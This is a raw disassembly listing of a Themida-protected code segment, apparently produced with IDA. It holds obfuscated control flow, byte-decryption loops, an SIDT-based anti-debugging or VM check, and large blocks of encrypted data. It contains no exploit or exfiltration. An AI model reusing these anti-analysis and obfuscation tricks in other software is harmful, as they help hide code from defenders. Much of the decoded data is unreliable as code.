		mov	eax, ecx
		jmp	short loc_5B9E86
; ---------------------------------------------------------------------------
		dw 0F317h
		dd 9B46h, 4 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B9E86:				; CODE XREF: Themida_:005B9E6Cj
		jmp	loc_5BA096
; ---------------------------------------------------------------------------


loc_5B9E8B:				; CODE XREF: Themida_:005B9EA0j
		pusha
		mov	ebx, [esp+24h]
		call	$+5
		pop	ebp
		sub	ebp, 7FD6A54h
		popa
		retn	4
; ---------------------------------------------------------------------------
		jmp	loc_5B9E8B
; ---------------------------------------------------------------------------


loc_5B9EA5:				; CODE XREF: Themida_:005B9EAAj
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_5B9EA5
; ---------------------------------------------------------------------------


loc_5B9EAF:				; CODE XREF: Themida_:005B9EB4j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_5B9EAF
; ---------------------------------------------------------------------------


loc_5B9EB9:				; CODE XREF: Themida_:005B9EBEj
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_5B9EB9
; ---------------------------------------------------------------------------


loc_5B9EC3:				; CODE XREF: Themida_:005B9EC8j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_5B9EC3
; ---------------------------------------------------------------------------
		align 10h
		dd 0
		dd 0C3616000h, 0FFFFF8E9h, 8CB58BFFh, 8107FD6Ah, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 90B53B00h, 0F07FD6Ah
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 17D1858Bh, 188607FAh
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 0BD95FF08h, 5007FA33h, 244C010Fh,	0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 17D1858Bh, 0C607FAh, 4FF5800h,	4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 7FA17D1h,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 7FA1459h,	0
; ---------------------------------------------------------------------------
		mov	eax, [esp+8]
		mov	ebx, [eax+1000h]
		mov	[eax+1000h], ebx
		mov	ebx, [eax]
		mov	[eax], ebx
		jmp	loc_5B9FD7
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+7FA1459h], 100h


loc_5B9FD7:				; CODE XREF: Themida_:005B9FC8j
		pop	eax
		pop	ebx
		inc	dword ptr [esp]
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0A3h, 0FFh
		dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h
		dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh,	1, 0FC90A4Ah
		dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh
		dd 0C033087Ah, 1E9h, 3F80AA00h,	0F6850F00h, 5FFFFFFFh
		dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h
		dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h,	595EC38Bh
		dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h
		dd 0BAACBD1h, 1840FD2h,	4A000000h, 850FC00Ah, 0FFFFFFE7h
		dd 850FD20Bh, 0FFFFFFDFh
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------


loc_5BA096:				; CODE XREF: Themida_:loc_5B9E86j
		mov	ax, ds
		test	al, 4
		jz	loc_5BA0CA
		mov	dword ptr [ebp+7FD6A31h], 1
		push	eax
		sidt	fword ptr [esp-2]
		pop	dword ptr [ebp+7FD6A35h]
		lea	eax, [ebp+7FD6A2Dh]
		lea	edi, [ebp+7FD6A35h]
		mov	[eax], edi
		jmp	loc_5BA0ED
; ---------------------------------------------------------------------------


loc_5BA0CA:				; CODE XREF: Themida_:005BA09Bj
		lea	eax, [ebp+7FA2889h]
		mov	eax, [eax+38h]
		add	eax, 9B46F317h
		mov	[ebp+7FD6A2Dh],	eax
		lea	eax, [ebp+7FA2889h]
		mov	eax, [eax+3Ch]
		mov	[ebp+7FD6A31h],	eax


loc_5BA0ED:				; CODE XREF: Themida_:005BA0C5j
		lea	eax, [ebp+7FD6A4Ah]
		mov	[ebp+7FA33BDh],	eax
		jmp	loc_5BA185
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_5BA119
; ---------------------------------------------------------------------------


loc_5BA112:				; CODE XREF: Themida_:005BA11Bj
		add	[esi], al
		xor	[esi], al
		ror	eax, 1
		inc	esi


loc_5BA119:				; CODE XREF: Themida_:005BA10Dj
		cmp	esi, edi
		jb	loc_5BA112
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_5BA141
; ---------------------------------------------------------------------------


loc_5BA13A:				; CODE XREF: Themida_:005BA143j
		xor	[esi], al
		sub	[esi], al
		ror	eax, 1
		inc	esi


loc_5BA141:				; CODE XREF: Themida_:005BA135j
		cmp	esi, edi
		jb	loc_5BA13A
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		push	esi
		push	ecx
		push	ebx
		xor	ebx, ebx
		mov	esi, [edx+8]
		mov	ecx, [edx+0Ch]
		jmp	loc_5BA174
; ---------------------------------------------------------------------------


loc_5BA161:				; CODE XREF: Themida_:005BA176j
		lodsb
		cmp	al, 2Dh
		jz	loc_5BA174
		add	al, 98h
		xor	al, 13h
		xor	bl, al
		rol	ebx, 8
		dec	ecx


loc_5BA174:				; CODE XREF: Themida_:005BA15Cj
					; Themida_:005BA164j
		or	ecx, ecx
		jnz	loc_5BA161
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	esi
		pop	edx
		retn	8
; ---------------------------------------------------------------------------


loc_5BA185:				; CODE XREF: Themida_:005BA0F9j
		lea	eax, [ebp+7FD6CBDh]
		mov	[ebp+7FA2905h],	eax
		lea	eax, [ebp+7FD6CE5h]
		mov	[ebp+7FA0EE1h],	eax
		lea	eax, [ebp+7FD6D0Dh]
		mov	[ebp+7FA107Dh],	eax
		call	sub_5BA1BC
		or	[esi+1Bh], ah
		db	2Eh
		push	ecx
		aas
		and	eax, 0B8C33935h
		hlt
; ---------------------------------------------------------------------------
		adc	ah, ch

; =============== S U B	R O U T	I N E =======================================



sub_5BA1BC	proc near		; CODE XREF: Themida_:005BA1A9p
		jo	loc_5BA1C5
		add	dl, 0B4h


loc_5BA1C5:				; CODE XREF: sub_5BA1BCj
		pop	eax
		mov	dx, ax
		add	eax, 7333h
		mov	edx, eax
		mov	ecx, 1CA3h
		push	eax
		jo	loc_5BA1E0
		sub	dh, 0F2h


loc_5BA1E0:				; CODE XREF: sub_5BA1BC+1Bj
		pop	ebx


loc_5BA1E1:				; CODE XREF: Themida_:005BA245j
		mov	esi, [eax]
		and	edx, 3D99BE8Fh
		sub	esi, 37B96F00h
		call	sub_5BA1F9
		adc	[eax+20h], bh
		inc	esi
		xchg	eax, edi
sub_5BA1BC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5BA1F9	proc near		; CODE XREF: sub_5BA1BC+33p

; FUNCTION CHUNK AT 005BA289 SIZE 0000005F BYTES

		stc
		pop	ebx
		sub	esi, 66881D24h
		xor	esi, 4D5C6D48h
		jbe	near ptr loc_5BA21C+2
		call	near ptr loc_5BA219+1
		cmpsb
		imul	ebp, [ecx-65h],	19h
		jz	short loc_5BA289


loc_5BA219:				; CODE XREF: sub_5BA1F9+14p
		add	esp, [esi-75h]
sub_5BA1F9	endp ; sp-analysis failed



loc_5BA21C:				; CODE XREF: sub_5BA1F9+Ej
		rcr	dword ptr [ebx-77h], cl
		xor	al, bh
		sub	eax, 2
		dec	eax
		dec	eax
		mov	bl, 0F1h
		sub	ecx, 1
		jnz	loc_5BA241
		add	bh, 50h
		jmp	loc_5BA259
; ---------------------------------------------------------------------------
		dd 95EA474Bh
		db 2Dh
; ---------------------------------------------------------------------------


loc_5BA241:				; CODE XREF: Themida_:005BA22Ej
		mov	bx, 0D8CEh
		jmp	loc_5BA1E1
; ---------------------------------------------------------------------------
		dw 0DA6Eh
		dd 77B5B91Ch, 0CF13FA13h, 1265CBCFh
; ---------------------------------------------------------------------------
		scasb


loc_5BA259:				; CODE XREF: Themida_:005BA237j
		pusha
		and	cx, 2A7Dh
		mov	eax, eax
		push	0
		push	ebp
		call	sub_5BA26C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA26C	proc near		; CODE XREF: Themida_:005BA264p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5BA26C	endp

; ---------------------------------------------------------------------------
		dd 11FA7933h, 0B9A47D4Ah, 4EFA4106h
		db 83h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BA1F9


loc_5BA289:				; CODE XREF: sub_5BA1F9+1Ej
		mov	ebp, 7FA2ACDh
		add	[ebp+9], dh
		cmp	dword ptr [ebp+7FA1899h], 0
		jz	short loc_5BA2B3
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Eh
		mov	[ebp+7FA20C9h],	eax
		lea	ebx, [ebp+7FCE224h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5BA2B3:				; CODE XREF: sub_5BA1F9+9Fj
		cmp	dword ptr [ebp+7FA1899h], 0
		jz	short loc_5BA2D3
		push	eax
		push	ebx
		mov	eax, 40Eh
		mov	[ebp+7FA20C9h],	eax
		lea	ebx, [ebp+7FCDF13h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5BA2D3:				; CODE XREF: sub_5BA1F9+C1j
		mov	dx, si
		sub	cx, 9D36h
		mov	eax, eax
		push	0
		push	edx
		call	sub_5BA2E8
		and	[edx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5BA1F9

; =============== S U B	R O U T	I N E =======================================



sub_5BA2E8	proc near		; CODE XREF: sub_5BA1F9+E7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5BA2E8	endp

; ---------------------------------------------------------------------------
		mov	word ptr [ecx],	ss
		add	dl, 0A5h
		cmp	dword ptr [ebp+7FA3135h], 0
		jz	loc_5BA350
		movzx	esi, dx
		mov	si, dx
		jmp	loc_5BA59A
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5BA320
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA320	proc near		; CODE XREF: Themida_:005BA318p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5BA320	endp

; ---------------------------------------------------------------------------
		push	esi
		inc	ebp
		mov	ds:0A5D88EB7h, al
		push	0FFFFFFBCh
		xor	cx, 4DB8h
		jle	loc_5BA350
		call	sub_5BA34E
		mov	ecx, 6410DC31h

; =============== S U B	R O U T	I N E =======================================



sub_5BA34E	proc near		; CODE XREF: Themida_:005BA344p
		stc
		pop	ecx


loc_5BA350:				; CODE XREF: Themida_:005BA304j
					; Themida_:005BA33Ej
		mov	edi, ds
		push	0
		push	edx
		call	sub_5BA35D
		and	[edx-3Dh], bl
sub_5BA34E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5BA35D	proc near		; CODE XREF: sub_5BA34E+7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5BA35D	endp

; ---------------------------------------------------------------------------
		db 9Dh,	0Bh, 60h
; ---------------------------------------------------------------------------
		jmp	loc_5BA381
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+eax*4+41h], 1353F76Eh
		mov	dh, 4Dh
		xchg	al, [ecx]


loc_5BA381:				; CODE XREF: Themida_:005BA370j
		mov	ax, dx
		popa
		test	di, 4
		jnz	loc_5BA59A
		pusha
		mov	bh, 0D2h
		jl	loc_5BA39E
		mov	esi, 1830254Eh


loc_5BA39E:				; CODE XREF: Themida_:005BA393j
		popa
		cmp	dword ptr [ebp+7FA1CC5h], 0
		jnz	loc_5BA3F9
		push	0
		push	edx
		call	sub_5BA3B7
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA3B7	proc near		; CODE XREF: Themida_:005BA3AFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5BA3B7	endp

; ---------------------------------------------------------------------------
		db 3Eh
; ---------------------------------------------------------------------------
		cmpsd
		inc	eax
		dec	ebx
		sub	si, 99F1h
		jmp	loc_5BA59A
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5BA3E0
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA3E0	proc near		; CODE XREF: Themida_:005BA3D8p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5BA3E0	endp

; ---------------------------------------------------------------------------
		dd 0A658525Fh, 6ED36532h
; ---------------------------------------------------------------------------
		push	ecx


loc_5BA3F9:				; CODE XREF: Themida_:005BA3A6j
		sub	edi, edi
		call	near ptr loc_5BA40B+2
		movsb
		sar	dword ptr [edi+0A6573C5h], cl
		ror	ebp, 1
		sbb	al, dl


loc_5BA40B:				; CODE XREF: Themida_:005BA3FBp
		call	far ptr	0F5Ah:0D18B66D7h
		mov	al, ds:0BA000000h
		test	al, ah
		lodsb
		push	eax
		lea	ebx, [ebp+7FD7133h]
		push	0
		push	ebx
		call	sub_5BA42D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA42D	proc near		; CODE XREF: Themida_:005BA425p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5BA42D	endp

; ---------------------------------------------------------------------------
		aam	0A7h
		push	es
		aad	5Ah
		retn	8160h
; ---------------------------------------------------------------------------
		db 0E3h, 6Ch, 0B2h
; ---------------------------------------------------------------------------
		xor	al, 6Ah
		jmp	loc_5BA463
; ---------------------------------------------------------------------------
		db 0AAh
		dd 6DBAD566h, 0DD6BF4Eh, 0A048B20Dh, 62F0ABB8h
		db 8Ch,	0BAh, 5Eh
; ---------------------------------------------------------------------------


loc_5BA463:				; CODE XREF: Themida_:005BA44Aj
		popa
		xchg	eax, ebx
		push	eax
		mov	si, 2879h
		xchg	eax, ebx
		push	0
		push	edi
		call	sub_5BA476
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA476	proc near		; CODE XREF: Themida_:005BA46Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5BA476	endp

; ---------------------------------------------------------------------------
		dw 0CA03h
		dd 0D58AE555h, 35FF64h,	66000000h, 8964C88Bh, 25h, 17BE6600h
		dd 6AC48B7Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0CDF3C357h, 0E900EB01h, 0Fh, 8E698402h
		dd 1E7A8D5Ah, 0E14228F9h, 0F05D553h, 8F64CBBFh,	5, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 6BE1EA5Bh, 0F1B56B02h, 0E804C483h, 13h, 6FB986B5h, 0FC284368h
		dd 63F17C8Dh, 592F1FCFh, 0E9354969h, 11h, 0B8538E00h, 58785864h
		dd 2ED1ED2Ch, 0B866D76Fh, 0C00B5E81h, 5C840Fh, 0B70F0000h
		dd 810F61CAh, 10h, 0BE9h, 92438A00h, 49D4035Bh,	608FED0Ah
		dd 72FBBD8Dh, 0F18007FAh, 1B865h, 0FFF50000h, 6E9E7h, 0C9F90000h
		dd 95474C76h, 245C8B57h, 0B8838B10h, 0F000000h,	0FE0140B6h
		dd 0B08389C8h, 83000000h, 0B883h, 335F0200h, 60F9C3C0h
; ---------------------------------------------------------------------------
		cld
		popa


loc_5BA59A:				; CODE XREF: Themida_:005BA310j
					; Themida_:005BA38Aj ...
		popa
		sbb	ecx, 6F20668Dh
		stc
		mov	eax, eax
		push	0
		push	edi
		call	sub_5BA5AF
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA5AF	proc near		; CODE XREF: Themida_:005BA5A7p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5BA5AF	endp

; ---------------------------------------------------------------------------
		db 3Bh
		dd 0BE7DF403h, 1DB6E394h, 0DD4DC981h, 0BD8326E6h, 7FA2ACDh
		dd 83097500h, 0FA1899BDh, 19740007h, 0C08B5350h, 40EB8h
		dd 81858900h, 8D07FA15h, 0FCE28B9Dh, 5BD3FF07h,	99BD8358h
		dd 7FA18h, 53501774h, 40EB8h, 81858900h, 8D07FA15h, 0FCDF2C9Dh
		dd 5BD3FF07h, 0F38B6658h, 0A7FDD981h, 0AE94223h, 8F000000h
		dd 78D56CD8h, 0BFC2182Fh, 6AC08B3Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 5D43C357h
		dd 362178F7h, 12E9h, 1778300h, 66353047h, 0A29BFCEEh, 257DA5BDh
		dd 8B094D0Bh, 8EBC2h, 0
		dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 0FA33ED85h
		dd 7E858D07h, 8B07FDBDh, 888B08h, 8B000010h, 4A8B660Ah
		dd 328D89FCh, 8307FD72h, 0FA1CC5BDh, 840F0007h,	0Fh, 0FF006A60h
		dd 0FA101995h, 0C4E96107h, 66FFFFFFh, 0C1FC7289h, 896610CEh
		dd 0CD520272h, 85895A04h, 7FD722Eh, 7232B58Bh, 0CEC107FDh
		dd 72896610h, 32B58B02h, 6607FD72h, 61FC7289h, 722E858Bh
		dd 8DC307FDh, 0FA08D595h, 0D1958907h, 8907FA17h, 0FA161595h
		dd 1585FF07h, 0C607FA16h, 0FA066585h, 0D8685307h, 0FFFCB148h
		dd 0FA08A5B5h, 0E2858D07h, 0FF07FA3Ah, 198589D0h, 8D07FA10h
		dd 0FD6A6485h, 41858907h, 0E907FA15h, 51h, 24748B60h, 3C760324h
		dd 28247C8Bh, 0C281D68Bh, 0F8h,	64E8B66h, 83C9B70Fh, 840F00F9h
		dd 16h,	0F0C7A3Bh, 158Fh, 28EA8300h, 8B0C428Bh,	0C12B144Ah
		dd 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h, 0FFFFFFCFh
		dd 0FFFFE9E9h, 0FD3EBAFFh, 0EB0009h, 593E9h, 587E900h
		dd 26680000h, 0E907FD74h, 0FFFD0B88h, 0FD753468h, 0B7EE907h
		dd 0CA68FFFDh, 0E907FD75h, 0FFFD0B74h, 0FD76A368h, 0B6AE907h
		dd 9A68FFFDh, 0E907FD77h, 0FFFD0B60h, 8CC2DC3Ah, 356B33DFh
		dd 0DB118D88h, 87BDE12Eh, 316737DAh, 0B25F48FDh, 0B09B6ECh
		dd 60B05D93h, 0B85B083Eh, 89E1B0E6h, 0E3F60A6Dh, 1BD23807h
		dd 0E68379E0h, 83197CFFh, 0A3F8FFE6h, 7DA6316Dh, 0BC3B7903h
		dd 0FDA3674Fh, 0E7602589h, 60BF26FFh, 5CC2FFE7h, 3BFFE760h
		dd 0CD732BE6h, 0E75FF259h, 0DF81087Fh, 841AFA4Fh, 922AD0F9h
		dd 0E18FBC76h, 0C151AA87h, 0C4FAA46Ch, 1AA5F917h, 48D88801h
		dd 0DBA6E22Ch, 0E9A7008Fh, 19991B2Ch, 1125C4FFh, 0CD000004h
		dd 721F5549h, 1BC8FEA0h, 0C16EA4FAh, 6D1A504Eh,	90C4FAA4h
		dd 811DF4DBh, 28769E4Bh, 0D3CB45F2h, 7B23F09Dh,	21E7645h
		dd 7E3F79Fh, 0A7A85FC5h, 7BA7326Ch, 0FFE68315h,	0EFD38D0Eh
		dd 97447A24h, 3297227Ch, 1632BDE1h, 0F728ECEh, 35FFE683h
		dd 0FBB536DCh, 6539D72Ch, 610112BFh, 4E84EDB1h,	748F467Eh
		dd 3CD82D38h, 7EDBBC62h, 6C000003h, 0A7326CA7h,	0E683157Bh
		dd 6638DDFFh, 39B76DBh,	43FD2678h, 520C3D9Bh, 95E22E83h
		dd 0E6831679h, 7AE33CFFh, 0B2EC27D4h, 1555AD7Ch, 0A44A54C0h
		dd 0E683CD30h, 0F9AF3FFh, 19FC66AAh, 68D1FA85h,	108E8532h
		dd 81E6C85h, 0F42A930Bh, 7D96CC47h, 9722CE5h, 54A7118Fh
		dd 26B0B17h, 9C021277h,	48BF266h, 0BF55FFE7h, 0C40454DFh
		dd 4056884h, 0D22BFFE7h, 0E7040366h, 32D831FFh,	18A8B8D1h
		dd 459BCD8h, 2E87FFE7h,	0F2D4F088h, 2007E124h, 793609C7h
		dd 0DA159E63h, 3033Bh, 633BDB00h, 0C92802Dh, 0B2EC29D6h
		dd 5E40CF7Ch, 8967B28h,	2E99ED2h, 0AC598F0Fh, 53003668h
		dd 0FEABE1BDh, 84538915h, 0F8AD102Ch, 6DD307E3h, 0AB67BCB6h
		dd 993F68F3h, 0EC7727ECh, 0D0CE479Ch, 8967D2Ah,	0A2FC187Dh
		dd 7BFAE812h, 1EC0CA3Dh, 9FC63A78h, 0A2FFE6BAh,	0FFE6CA3Bh
		dd 667E0F05h, 1518A9D0h, 1E73036Ch, 7306ACF2h, 5A44CE23h
		dd 0ED940B4h, 9AEFFFE7h, 5AF142B5h, 0DA6EE8B6h,	35C52E04h
		dd 0E128E719h, 0D492EB07h, 9E638975h, 6DFC9BD6h, 71000002h
		dd 16C3F9A5h, 0BF6CA2FCh, 65124856h, 11BEF4AAh,	34689E00h
		dd 2579987Fh, 0CCD242EFh, 7727E996h, 1F7F9441h,	0A6C21AE9h
		dd 7E3F843h, 0A7540B71h, 42A7326Ch, 0DD42CDD1h,	7BE06B33h
		dd 287A0599h, 419D45FFh, 0A1725610h, 0BFF7C7FDh, 5D38748Fh
		dd 1F5h, 8379E0EEh, 0CD43FFE6h,	931E8095h, 4E50C56Ah, 0A1319AC3h
		dd 4ED9C54Ch, 94417F25h, 3297227Ch, 0F030C0DEh,	833194B0h
		dd 65FFFE6h, 0E683379Ah, 5E045DFFh, 0C47EAFCBh,	386E30E0h
		dd 9DC54BA0h, 37C22B73h, 6098680Eh, 4738748Fh, 0E5EAA21Dh
		dd 0B2283EE5h, 768C065Fh, 4324CA15h, 54h, 8E96F3D4h, 21B11A84h
		dd 0E0981B05h, 514E7807h, 2CD494D4h, 0E0398228h, 637B3122h
		dd 40DF1A9Eh, 194h, 9CD2CC4Ah, 457B23EFh, 0EB217D98h, 97CDD13Eh
		dd 417727EAh, 0A26F580Dh, 0FB19C6FCh, 50C06DA3h, 0A86B184Eh
		dd 99F1C0F6h, 0E3F91A7Dh, 2BE24807h, 0ADED2D85h, 0E6832E91h
		dd 55FB54FFh, 0E68386E1h, 0B9329CFFh, 0EDACFC74h, 0DD079700h
		dd 771D26DAh, 0EB26BAD0h, 8B8B469h, 166F99Fh, 0C1598F0Fh
		dd 6FFAA46Ch, 2A930B0Ah, 623CD784h, 96CCBED7h, 415DB360h
		dd 0E9B55E0Bh, 831BF95Eh, 0A267E4Dh, 0FFE6B2A7h, 84E974CDh
		dd 76D70D91h, 95BF4F19h, 98B8F875h, 46A9C52Ch, 6CFFE726h
		dd 0A430AA13h, 2CAE7C8h, 80E5781Eh, 5FD30995h, 0FFE6FBF8h
		dd 55E57B0Eh, 0E12DAF39h, 749E3307h, 0D769F2Ah,	0B4EA287Dh
		dd 5D41D17Eh, 0FBA36DD2h, 95090B70h, 2E70A50Ah,	3AFF8AA3h
		dd 0E0CCBB1Eh, 0C054E907h, 7C0C75DEh, 0DAF36A60h, 611F780Fh
		dd 9999B6CCh, 9D75144Fh, 41000000h, 0E693C9D5h,	8F3C722Ch
		dd 35E21886h, 0E18EC4DAh, 4386E30h, 0F5A9684Fh,	9C0212BFh
		dd 4757B966h, 0EFAF6411h, 7692EAB9h, 7E3FA13h, 0A724DB41h
		dd 42A7326Ch, 2642CDD1h, 0BC573BF5h, 0A4DCACE2h, 8B38748Fh
		dd 0F35BB061h, 7A95017Dh, 7709924h, 238061h, 0DB300000h
		dd 7BE643Ah, 0E6837AE0h, 0CFCF44FFh, 5AA2153Fh,	0CF037BE5h
		dd 0FE53EB29h, 0FBE28816h, 14h,	8379E094h, 2E58FFE6h, 642149DEh
		dd 6512B8C9h, 3BAF0AEh,	9F764E6h, 0AF000000h, 5CE7B75Ah
		dd 95F48D33h, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h
		dd 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h
		dd 0E2895252h, 58F5BD55h, 814D1C5Dh, 5D58F0EDh,	5DEA011Ch
		dd 8704EA83h, 685C2414h, 5C61h,	68243C89h, 387h, 68242C89h
		dd 7FD7393h, 83243C8Bh,	256804C4h, 89000032h, 4832424h
		dd 525D0424h, 89F98951h, 558959CAh, 2C8B5A08h, 0E1895124h
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 53243C8Bh,	0C381E389h
		dd 4, 4C381h, 1C870000h, 19E95C24h, 6DFFFD06h, 59926900h
		dd 0F31C3436h, 0EA7025E0h, 785CB8A8h, 0C50307FDh, 20EBD18Bh
		dd 8 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5BB2A5
; ---------------------------------------------------------------------------
		jmp	loc_5BB29E
; ---------------------------------------------------------------------------
		push	7FD7ABAh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD7B58h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD7D1Ch
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FD7D85h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		dw 2AECh
		dd 81913E74h, 0DB3AE71Dh, 2FE08DC3h, 858C396Fh,	0FAAFE319h
		dd 689E0011h, 0F4559BBh, 0BAF0AE62h, 6298060Dh,	0BC1F3B93h
		dd 0EA07E3FCh, 6EA7CD84h, 1279A530h, 1C7FE683h,	40995A84h
		dd 0E9F295DCh, 4D750A6Fh, 0FB56361h, 95CDD48Eh,	33B87565h
		dd 3Ah,	2487A3E3h, 527FE74Dh, 0E09C53F9h, 0FFE6837Ah, 0D767F990h
		dd 830E9082h, 3F5FB55Ah, 8DE50199h, 0B907E3FCh,	977BD060h
		dd 0AD537C07h, 2C886Fh,	0EB400000h, 0C4ED7826h,	79E0671Eh
		dd 58FFE683h, 0E68C1203h, 0E0350485h, 0B6DF6A34h, 0E682E74Ah
		dd 4BB40DFFh, 0FC479FBBh, 65F07E3h, 6EA719D0h, 2B55A530h
		dd 0F19B9758h, 2B9F4564h, 7FE75EC3h, 1E59FE0h, 0F3548A14h
		dd 1834C49Ch, 7FE5B7B1h, 96FB86DFh, 8AEB217Dh, 0DEFA3AFFh
		dd 7FE5B77Bh, 81E450A9h, 0AF7FE5B7h, 335DED56h,	30585C15h
		dd 46DE84D7h, 260B106h,	8127900Eh, 0E004930Dh, 46D62F87h
		dd 187EA06h, 425E77ECh,	77EC01DFh, 16BAC05h, 72EFA6ACh
		dd 0B75DC60Ah, 391F824h, 1A9B77ECh, 0B215960h, 89BFB07Ah
		dd 50000000h, 87A396F3h, 0FFE68324h, 0C154F952h, 0C02952DDh
		dd 0F5E81430h, 9DF607E3h, 435BB80Dh, 9BC5059Dh,	5CCCCD89h
		dd 5D0AB0E9h, 358E8B6h,	0AAE88E10h, 0CA8816FDh,	9E6489CBh
		dd 34AE924h, 61000003h,	6B3E9B5h, 0AF5C920Ch, 55023866h
		dd 1AEE4BAh, 24588E10h,	1589886Fh, 0BCE232DFh, 6737D986h
		dd 0F8F8431h, 96B20AD9h, 7E3FD33h, 0BC44FB61h, 69F4AA67h
		dd 7920C04h, 0C8FB75DEh, 7E570B16h, 0BB1E05ABh,	0B7000002h
		dd 0A5306EA7h, 0E6831279h, 842E15FFh, 0CD31FFE6h, 0CEFFE683h
		dd 0FFE68367h, 0E683036Ah, 839F06FFh, 0D4B5BFE6h, 72DBC350h
		dd 0A802C6E2h, 0D32CC7E3h, 71A3F848h, 0A787EA06h, 54ADC7E3h
		dd 0A5E445EBh, 0C50F2BBBh, 0E1CFDDD8h, 0C331CA88h, 0DF1A599Eh
		dd 26540h, 8717FF00h, 306EA451h, 0D6C84DFAh, 821CF3A0h
